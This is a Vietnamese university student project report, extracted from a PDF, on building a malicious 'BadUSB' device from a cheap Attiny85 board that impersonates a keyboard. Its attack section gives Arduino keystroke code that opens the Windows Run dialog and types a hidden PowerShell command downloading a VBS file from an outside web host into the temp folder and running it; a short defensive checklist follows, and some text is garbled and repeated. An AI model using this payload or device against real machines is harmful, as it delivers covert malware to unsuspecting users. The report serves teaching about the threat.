USB (Universal Serial Bus) là một chuẩn kết nối tuần tự đa dụng trong máy tính. USB sử dụng để kết nối các thiết bị ngoại vi với máy tính, chúng thường được thiết kế dưới dạng các đầu cắm cho các thiết bị tuân theo chuẩn cắmvàchạy mà với tính năng cắm nóng thiết bị (nối và ngắt các thiết bị không cần phải khởi động lại hệ thống).
TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN KHOA MẠNG MÁY TÍNH VÀ TRUYỀN THƠNG BÁO CÁO ĐỒ ÁN TẠO USB ĐỘC HẠI MÔN HỌC: CƠ CHẾ HOẠT ĐỘNG CỦA MÃ ĐỘC MÃ LỚP: NT130.H21.ANTT Các thành viên nhóm: Đồn Thành An – 14520003 Nguyễn Quốc Chí – 14520084 Huỳnh Tấn Duy – 14520214 Đỗ Bá Tứ Mỹ – 14520541 Bùi Minh Thái – 14520812 Nguyễn 14520842 GV Lý Thuyết: Phạm Văn Hậu Ngày 25 tháng năm 2017 Hoàng Thanh – MỤC LỤC I TỔNG QUAN VỀ USB: USB (Universal Serial Bus) chuẩn kết nối đa dụng máy tính USB sử dụng để kết nối thiết bị ngoại vi với máy tính, chúng thường thiết kế dạng đầu cắm cho thiết bị tuân theo chuẩn cắm-và-chạy mà với tính cắm nóng thiết bị (nối ngắt thiết bị không cần phải khởi động lại hệ thống) Đặc trưng USB: • Cho phép mở rộng đến 127 thiết bị • Dùng nguồn 5v • Những thiết bị USB có đặc tính cắm nóng, điều có nghĩa thiết bị kết nối (cắm vào) ngắt kết nối (rút ra) thời điểm mà người sử dụng cần mà không cần phải khởi động lại hệ thống • Nhiều thiết bị USB chuyển trạng thái tạm ngừng hoạt động máy tính chuyển sang chế độ tiết kiệm điện Các thiết bị phương thức hỗ trợ giao tiếp USB: • Chuột • Bàn phím • Máy in • Máy qt • Xbox one • Webcam • Modem • Loa • Usb flash • Ổ cứng gắn • USB to serial • Bộ chuyển đổi cổng II USB ĐỘC HẠI – BAD USB: Nguyên lý: Thông thường window để gọi nhanh ứng dụng sẵn có hay dùng tổ hợp phím Window + R (hình II.1.1) để chạy lên hộp thoại Run (hình II.1.2) Có hộp thoại chạy chương trình mong muốn Hình II.1.1 Hình II.1.2 Nhưng kết hợp cách với bàn phím ảo có chức tự động gửi đoạn code có chức đặc biệt ta dễ dàng cơng vào máy tính nạn nhân Tóm lại, cần bàn phím ảo tự động với bước: • B1: Kết nối máy tính với bàn phím ảo • B2: Nhấn tổ hợp phím Window + R Chờ hộp thoại Run • B3: Gửi shell code đến hộp thoại Run, nhấn nút OK • B4: Ngắt kết nối bàn phím ảo với máy tính Hiện thực bàn phím ảo: • Lựa chọn phần cứng: phần cứng đa dạng arduino có hỗ trợ bàn phím Arduino Pro Micro dòng chíp Avr có thư viện V-USB Đơn giản có Arduino Attiny85 Usb ( Avr Attiny85 có cài đặt sẵn thư viện keyboard giao tiếp qua cổng usb nhờ thư viện V-USB – Giá rẻ 40 nghìn – Hình II.2.1) Hình II.2.1 Delay(3000); Sau cắn usb keyboard vào đợi cho hệ điều hành nhận diện Keyboard.pressKey(GUI, 'r'); Tiếp theo usb keyboard tự gửi tổ hợp phím win + R Keyboard.releaseKey(); Nhả phím Delay(1500); Đợi 1,5 giây hộp thoại Run Keyboard.print("powershell -NoP -W Hidden bitsadmin /TRANSFER 'a' http://vt57.000webhostapp.com/a '%tmp%\a.vbs';Start-Process %tmp%\a.vbs "); Gửi lệnh đến hộp thoại Run Các tham số: • -W hidden ẩn powershell • bitsadmin /tranfer 'a' http://vt57.000webhostapp.com/a '%tmp%\a.vbs' download tệp tin a internet lưu lại thư mục tạm với tên a.vbs • Start-Process %tmp%\a.vbs chạy tệp tin a.vbs vừa download Keyboard.pressSpecialKey(ENTER); Nhấn phím enter mặc định ấn button OK hộp thoại Run Keyboard.releaseKey(); Nhả phím • Shell code: Demo: III TỔNG KẾT: Qua điều vừa giới thiệu hiểm họa công vật lý giao tiếp qua cổng USB ngày nguy hiểm Vậy để phòng tránh cần làm: • Disable cổng usb khơng sử dụng chúng • Ngăn cấm người có ý định cắm usb mà khơng có cho phép • Sau cắm usb vào mà có điều bất thường ví dụ hộp thoại Run lên cần rút usb usb giả mạo bàn phím • Theo dõi trạng thái máy tính từ cắm usb vào • Sạc dự phòng, điện thoại , bàn phím, chuột, webcam usb độc hại làm giả dễ, hình II.2.1 nhỏ đồng xu • Cài đặt Antivirus, tường lửa, chương trình bảo vệ usb ... cần phải khởi động lại hệ thống • Nhiều thiết bị USB chuyển trạng thái tạm ngừng hoạt động máy tính chuyển sang chế độ tiết kiệm điện Các thiết bị phương thức hỗ trợ giao tiếp USB: • Chuột •... Máy in • Máy qt • Xbox one • Webcam • Modem • Loa • Usb flash • Ổ cứng gắn ngồi • USB to serial • Bộ chuyển đổi cổng II USB ĐỘC HẠI – BAD USB: Nguyên lý: Thông thường window để gọi nhanh ứng... dụ hộp thoại Run lên cần rút usb usb giả mạo bàn phím • Theo dõi trạng thái máy tính từ cắm usb vào • Sạc dự phòng, điện thoại , bàn phím, chuột, webcam usb độc hại làm giả dễ, hình II.2.1 nhỏ